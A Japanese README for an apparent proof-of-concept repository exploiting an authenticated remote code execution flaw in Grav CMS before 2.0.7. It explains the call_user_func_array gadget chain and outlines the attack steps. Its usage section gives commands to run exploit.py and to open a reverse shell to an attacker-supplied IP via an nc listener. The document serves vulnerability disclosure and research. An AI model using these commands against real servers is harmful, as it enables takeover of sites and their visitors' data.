CVE-2026-65008 — Grav CMS 2.0.7 未満における認証済み RCE

CVE-2026-65008 の概念実証（PoC）: Blueprint::dynamicData() 内の無制限の call_user_func_array() を介した Grav CMS における認証済みリモートコード実行。

admin.pages（または api.pages.write）権限を持つユーザーは、悪意のあるフォーム frontmatter を仕込むことができます。ペイロードは、任意の訪問者（未認証を含む）がページを読み込んだときに、Web サーバーユーザーとして実行されます。

認可されたテストのみ。 自分が所有するシステム、または明示的な書面によるテスト許可を得たシステムにのみ使用してください。

クレジット

CVE: https://www.cve.org/CVERecord?id=CVE-2026-65008

根本原因

Blueprint::dynamicData() は、攻撃者が制御する Class::method 呼び出し可能オブジェクトと引数を、許可リストなしで PHP の call_user_func_array() に渡します。Grav\Common\Utils::arrayFilterRecursive をトランポリンとして組み合わせることで、system() / passthru などに到達します。

Grav 2.0.7+ で修正されました。

CVSS

9.8 緊急（CRITICAL） — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

要件

• Python 3.10+
• requests

インストール:

pip install -r requirements.txt

使い方

コマンド実行

python3 exploit.py -u http://TARGET -U admin -P 'password' -c "id"

リバースシェル

先にリスナーを起動:

nc -lvnp 4444

次に:

python3 exploit.py -u http://TARGET -U admin -P 'password' --lhost YOUR_IP --lport 4444

引数

攻撃の流れ

1. /admin にログイン（login-nonce を取得）
2. 管理パネルから admin_nonce を取得
3. frontmatter に data-opts@: ガジェットを含むページを保存
4. 未認証の GET でトリガー → www-data として RCE

免責事項

このプロジェクトは教育および認可されたセキュリティ研究のみを目的としています。著者は悪用について一切の責任を負いません。第三者システムをテストする前に必ず書面による許可を取得してください。本脆弱性はベンダー勧告を通じて開示されました。本リポジトリはラボでの再現を示すものにすぎません。

参照

• https://github.com/getgrav/grav/security/advisories/GHSA-fj2p-qj2f-74v5
• https://nvd.nist.gov/vuln/detail/CVE-2026-65008
• https://www.cve.org/CVERecord?id=CVE-2026-65008

ライセンス

研究用途に限ります。保証はありません。